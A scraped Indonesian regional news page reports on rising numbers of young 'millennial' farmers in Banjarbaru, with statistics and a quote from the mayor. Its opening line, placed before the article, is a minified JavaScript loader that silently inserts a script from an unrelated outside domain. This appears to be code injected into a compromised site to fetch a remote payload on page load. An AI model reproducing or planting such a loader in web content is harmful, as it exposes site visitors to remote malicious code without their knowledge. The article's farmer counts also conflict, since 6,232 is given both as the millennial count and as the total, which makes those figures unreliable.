(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DKP3 Banjarbaru

Lahan Pertanian Produktif Tersedia, Petani Milenial Semakin Bermunculan di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dinas Ketahanan Pangan, Pertanian dan Perikanan (DKP3) Kota Banjarbaru terus mendorong lahirnya petani milenial guna mengembangkan sektor holtikultura. Sampai pada tahun 2023 ini, tercatat sudah ada sebanyak 6.232 orang.

Data tersebut dirilis Badan Pusat Statistik (BPS) Kota Banjarbaru. Dimana cakupan subsektor petani milenial ini mengikuti konsep dan definisi pada undang-undang RI Nomor 19 Tahun 2013, yaitu subsektor tanaman pangan, hortikultura, perkebunan, dan peternakan.

Adapun untuk jumlah petani milenial (berusia 19–39 tahun di Kota Banjarbaru saat ini berjumlah 1.108 orang. Jumlah ini merupakan 17,78 persen dari total petani di Kota Banjarbaru yang sebanyak 6.232 orang.

Jumlah petani milenial berumur 19–39 tahun paling banyak berada di Kecamatan Cempaka sebesar 480 orang, diikuti Kecamatan Liang Anggang sebesar 332 orang, dan Kecamatan Landasan Ulin sebesar 199 orang.

Berdasarkan jenis kelaminnya, petani milenial masih didominasi oleh laki-laki yaitu sebesar 88,63 persen.

DKP3 Banjarbaru melalui bidang pertanian terus mendorong masyarakat terutama kaum millenial mengingat pekerjaan masa depan berkaitan pertanian secara umum untuk memenuhi kebutuhan pangan yang sehat.

Data petani milenial dapat menjadi salah satu indikator tingkat regenerasi di sektor pertanian serta menunjukkan pemanfaatan teknologi digital yang diharapkan dapat menciptakan pertanian modern yang produktif dan berkelanjutan.

Dalam beberapa kesempatan, Wali Kota Banjarbaru, HM Aditya Mufti Ariffin mengakui bahwa pekerjaan sebagai petani sangatlah menjanjikan. Hal ini juga demi mengantisipasi semakin berkurang lahan pertanian seiring dengan kemajuan di Ibukota Kalimantan Selatan.

“Kita akan terus berupaya agar lahan pertanian yang produktif agar tidak berubah fungsi, sehingga Banjarbaru tetap menjadi klaster holtikultura di Kalsel. Untuk itu kita membutuhkan semakin banyak petani milenial yang bergelut di sektor ini,” ucapnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Muhammad Andi

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.